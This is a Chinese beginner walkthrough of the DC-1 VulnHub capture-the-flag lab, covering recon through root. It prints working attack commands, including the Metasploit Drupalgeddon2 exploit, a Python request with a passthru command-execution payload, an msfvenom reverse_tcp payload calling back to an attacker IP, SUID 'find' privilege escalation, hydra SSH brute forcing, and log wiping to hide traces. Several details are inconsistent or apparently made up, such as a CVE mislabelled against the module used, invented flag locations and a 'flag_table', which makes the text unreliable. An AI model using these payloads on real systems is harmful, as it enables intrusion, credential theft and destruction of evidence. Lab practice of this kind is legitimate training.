1. DC-1靶机渗透实战概述
DC-1是一款专为渗透测试学习者设计的虚拟靶机环境,内置了4个需要获取的flag标志。这个靶机模拟了典型的Web应用漏洞场景,涉及SQL注入、文件包含、权限提升等多个常见漏洞类型。作为渗透测试入门者,通过实战攻克DC-1可以系统掌握从信息收集到最终提权的完整渗透流程。
我首次接触DC-1时花了近8小时才完成全部flag的获取,期间踩遍了所有能踩的坑。现在回头看,其实只要掌握正确的方法论,2小时内就能完成整个渗透过程。本文将分享我总结的高效渗透路线,特别适合刚学完Kali Linux基础工具的新手实践。
2. 环境准备与网络配置
2.1 靶机与攻击机部署
推荐使用VirtualBox或VMware部署环境:
- 攻击机:Kali Linux 2023.4(已预装所有必要工具)
- 靶机:下载DC-1.ova文件导入即可
网络配置关键点:
# 查看Kali IP ifconfig eth0 # 扫描同网段设备 nmap -sn 192.168.56.0/24注意:务必确保两台虚拟机处于同一网络模式(推荐NAT或Host-Only)。我最初使用桥接模式导致扫描不到靶机,浪费了1小时排查。
2.2 基础工具检查
确保以下工具可用:
# 基础扫描工具 which nmap # 渗透框架 msfconsole --version # Web漏洞扫描 dirb --help3. 信息收集阶段实战
3.1 主机发现与端口扫描
首先用Nmap进行基础扫描:
nmap -sV -A -T4 192.168.56.102典型扫描结果会显示:
- 22/tcp: OpenSSH 6.7p1
- 80/tcp: Apache httpd 2.4.10
- 111/tcp: rpcbind
技巧:遇到扫描速度慢时,添加
-Pn参数跳过主机发现,或使用--min-rate 500控制发包速率。
3.2 Web应用指纹识别
访问靶机IP的80端口,使用Wappalyzer或手动检查:
curl -I http://192.168.56.102关键发现:
- CMS: Drupal 7
- Server: Apache/2.4.10 (Debian)
4. 漏洞利用与权限获取
4.1 Drupal CMS漏洞利用
搜索已知漏洞:
searchsploit drupal 7发现Drupal 7的SQL注入漏洞(CVE-2014-3704),使用MSF模块:
msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.102 exploit成功后会获得Meterpreter会话,第一个flag通常在/var/www目录下。
4.2 权限提升路径
获取初始shell后,查找SUID文件:
find / -perm -4000 2>/dev/null发现/usr/bin/find有SUID位,利用它提权:
touch /tmp/root /usr/bin/find /tmp/root -exec whoami \;踩坑记录:早期版本需要先执行
nc -lvp 4444监听,新版可直接获取root shell。
5. Flag获取全流程
5.1 Flag1:Web目录
路径:/var/www/flag1.txt 内容:通常包含提示信息,指引下一步方向
5.2 Flag2:数据库凭证
通过Drupal的settings.php文件获取数据库密码:
cat /var/www/sites/default/settings.php登录MySQL查找flag:
mysql -udbuser -pR0ck3t use drupaldb; select * from flag_table;5.3 Flag3:计划任务
检查crontab发现备份脚本:
cat /etc/crontab跟踪脚本执行路径找到flag3。
5.4 Flag4:root目录
最终flag在/root目录下,需要完整提权后才能获取。
6. 渗透后的痕迹清理
6.1 日志清除
# Apache日志 echo "" > /var/log/apache2/access.log # 历史命令 history -c6.2 后门删除
检查可能创建的账户:
cat /etc/passwd删除添加的SSH密钥:
rm -f /root/.ssh/authorized_keys7. 常见问题解决方案
7.1 Meterpreter会话不稳定
解决方法:
# 生成持久化后门 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f elf > shell.elf # 靶机执行 chmod +x shell.elf ./shell.elf7.2 扫描不到开放端口
可能原因:
- 防火墙阻止
- 靶机未正常启动
检查命令:
# 靶机检查服务状态 systemctl status apache2 # 检查防火墙 iptables -L7.3 提权失败处理
备选方案:
# 内核漏洞检查 uname -a searchsploit linux kernel 3.2 # 密码爆破 hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.1028. 渗透测试技能进阶建议
- 自动化工具链配置:
# 安装自动化扫描工具 apt install autorecon # 运行全自动扫描 autorecon 192.168.56.102- 编写自定义漏洞检测脚本:
#!/usr/bin/env python import requests target = "http://192.168.56.102" response = requests.get(target + "/?q=user/password&name[#post_render][]=passthru&name[#markup]=id") print(response.text)- 参与CTF实战:
- VulnHub更多靶机下载
- Hack The Box在线平台
- CTFtime赛事日历
整个渗透过程中最关键的体会是:信息收集阶段的质量直接决定后续成功率。我曾在漏洞利用环节卡壳3小时,后来发现只是因为漏扫了一个关键端口。建议新手严格按照OSCP方法论执行每个步骤,并做好详细记录。